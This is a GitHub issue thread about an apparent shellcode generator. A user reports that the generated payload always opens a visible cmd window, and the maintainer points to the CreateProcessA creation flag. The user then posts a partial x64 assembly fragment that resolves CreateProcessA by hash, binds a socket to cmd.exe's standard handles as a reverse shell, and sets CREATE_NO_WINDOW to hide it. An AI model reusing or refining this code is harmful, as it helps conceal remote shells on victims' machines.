Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Cmd window open's up no matter what #1

Open
ShorterKing opened this issue Aug 30, 2023 · 2 comments
Open

Cmd window open's up no matter what #1

ShorterKing opened this issue Aug 30, 2023 · 2 comments

Comments

@ShorterKing
Copy link

When the C payload is made no matter what you do in the program to hide the cmd window it will open regardless of whether you make it into a DLL or C++ Nothing works so I think the problem is in the payload itself.

@senzee1984
Copy link
Owner

Hi @ShorterKing , thanks for your feedback. I think the issue resides in the argument Creation Flag passed to CreateProcessA function. I will test it with the updated argument value and let you know.

@ShorterKing
Copy link
Author

Yes, I thought the same so I tried this it hides the shell but the shell dies as soon as it connects. Hope this may help

"call_createprocess:"
" mov r9, rbp;" # R9 stores the base address of Kernel32.dll
" mov r8d, 0x16b3fe72;" # Hash of CreateProcessA
" call parse_module;" # Get the address of CreateProcessA
f"{shell_type}"
" push rdx;"
" mov rdx, rsp;" # Pointer to "cmd.exe" is stored in the RCX register
" push r12;" # The member STDERROR is the return value of WSASocketA
" push r12;" # The member STDOUTPUT is the return value of WSASocketA
" push r12;" # The member STDINPUT is the return value of WSASocketA
" xor rcx, rcx;"
" push cx;" # Pad with 0x00 before pushing the dwFlags member, only the total size matters
" push rcx;"
" push rcx;"
" mov cl, 0xff;"
" inc cx;" # 0xff+1=0x100
" push cx;" # dwFlags=0x100
" push "+str(CREATE_NO_WINDOW)+";"
" xor rcx, rcx;"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants